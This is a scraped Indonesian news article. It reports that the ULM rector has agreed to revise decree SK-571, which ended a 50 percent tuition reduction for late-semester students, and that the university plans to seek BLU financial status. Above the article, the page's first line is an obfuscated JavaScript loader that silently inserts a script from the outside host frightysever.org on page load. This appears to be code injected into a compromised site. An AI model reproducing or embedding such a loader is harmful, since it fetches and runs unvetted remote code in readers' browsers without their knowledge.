(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Pendidikan

Cari Solusi Keringanan Bayar Kuliah, Rektor ULM Siap Revisi SK


BANJARMASIN, Menindaklanjuti hasil konsolidasi terbitnya SK Rektor ULM-571 sebagai pengganti SK Rektor ULM-261 audensi kembali dilakukan dengan puluhan mahasiswa Universitas Lambung Mangkurat (ULM). Sebelumnya audiensi telah dilakukan pada Rabu (26/6) lalu. Audensi kali ini berlangsung di aula Rektorat ULM ini dihadiri langsung Rektor ULM Prof Sutarto Hadi dan mencapai satu keputusan.

“Kita akan buat peraturan, merevisi SK-571 itu, tapi tidak menyalahi peraturan. Kita akan formulasikan dalam 10 hari. Karena tanggal 22 sudah mulai pembayaran UKT,” jelasnya.

Di tengah audensi, sempat terdengar usulan bagaimana agar mengubah pengelolaan keuangan ULM dari Satuan Kerja (Satker) menjadi Badan Layanan Umum (BLU), dimana hal ini juga menjadi fokus Sutarto Hadi. Hingga saat ini pihak ULM tengah menyusun dokumen dan akan mengajukannya ke Kementerian Keuangan. “Kalau disetujui, tidak lagi kita setor ke kas negara,” ucapnya.

Dijelaskan lebih lanjut, satker, dalam hal ini disebut Penerimaan Negara Bukan Pajak (PNBP) seluruhanya disetor ULM ke kas negara. “Kita hanya mendapatkan Pagu-nya sesuai ketentuan,” tuturnya.

Sutarto menuturkan, selama ini PNBP ULM tinggi, tapi ketika turun untuk ULM tidak mencapai angka yang setara. Pagu ULM disampaikannya, mencapai angka Rp230 miliar.  “Jadi sebenarnya kalau kita mau menaikkan uang kuliah, tidak ada manfaatnya buat kita, karena semua ke kas negara. Kalau bisa diturunkan ya diturunkan. Jangan-jangan Pagu yang kita terima memang di bawah penerimaan, karena kita Satker,” tuturnya.

Muhammad Jamaludin, Wakil Ketua BEM ULM yang juga hadir saat audiensi berharap mendapatkan kabar baik yang menguntungkan mahasiswa nantinya. Sebab bagi mereka beberapa poin di dalam SK-571 tersebut tidak semuanya menguntungkan mahasiswa.

SK-571 yang diprotes oleh mahasiswa ini adalah tentang penghapusan atas keringanan 50 persen UKT kepada para mahasiswa yang telah melewati semester 8. Hal ini dirasa oleh ULM, sebab mahasiswa semester 8 ke atas perlu banyak biaya yang besar untuk proses penelitian, pengumpulan, dan penulisan data yang dilakukan oleh para mahasiswa semester akhir. Sehingga wajar bagi ULM untuk memberi keringanan untuk para mahasiswa.

Keringanan 50 persen ini telah berjalan selama tiga tahun sebelum akhirnya terendus oleh Badan Pemeriksa Keuangan (BPK). Sebab menurut BPK, persyaratan penurunan pembayaran berlaku hanya bagi mahasiswa yang terkendala ekonomi dan kemampuan sosial. (mario)

Reporter:Mario
Editor:Bie

Desy Arfianty

Recent Posts

Kali Pertama Airbus A340 Layani Jemaah Haji Embarkasi Banjarmasin

Penerbangan Kloter 1 Sempat Terlambat 30 Menit Read More

2 jam ago

100 Peserta Ramaikan Kejuaraan Catur se Kalteng Piala Pj Bupati Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Kejuaraan catur piala Pj Bupati Kapuas se Kalimantan Tengah dibuka oleh… Read More

5 jam ago

Embarkasi Haji Banjarmasin Berangkatkan Kloter 1, 320 Jemaah Menuju Madinah

KANALKALIMANTAN.COM, BANJARBARU - Jemaah haji Kloter pertama diberangkatkan dari Asrama Haji Embarkasi Banjarmasin di Banjarbaru,… Read More

5 jam ago

Dilakban di Paha, Empat Orang di Bandara Juwata Tarakan Selundupkan 4 Kg Sabu

KANALKALIMANTAN.COM, TARAKAN - Empat orang calon penumpang pesawat dengan rute Tarakan-Makassar batal berangkat lantaran kedapatan… Read More

19 jam ago

Satgas TMMD Bikin Sumur Bor untuk Warga Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pengerjaan sumur bor menjadi salah satu sasaran fisik program TNI Manunggal Membangun… Read More

21 jam ago

Jemaah Termuda Kloter 1 Daftar Haji saat Umur 10 Tahun, Setor 2014 Berangkat 2024

KANALKALIMANTAN.COM, BANJARBARU - Berangkat haji ke Baitullah menunaikan Rukun Islam kelima sepenuhnya adalah panggilan. Berusia… Read More

24 jam ago

This website uses cookies.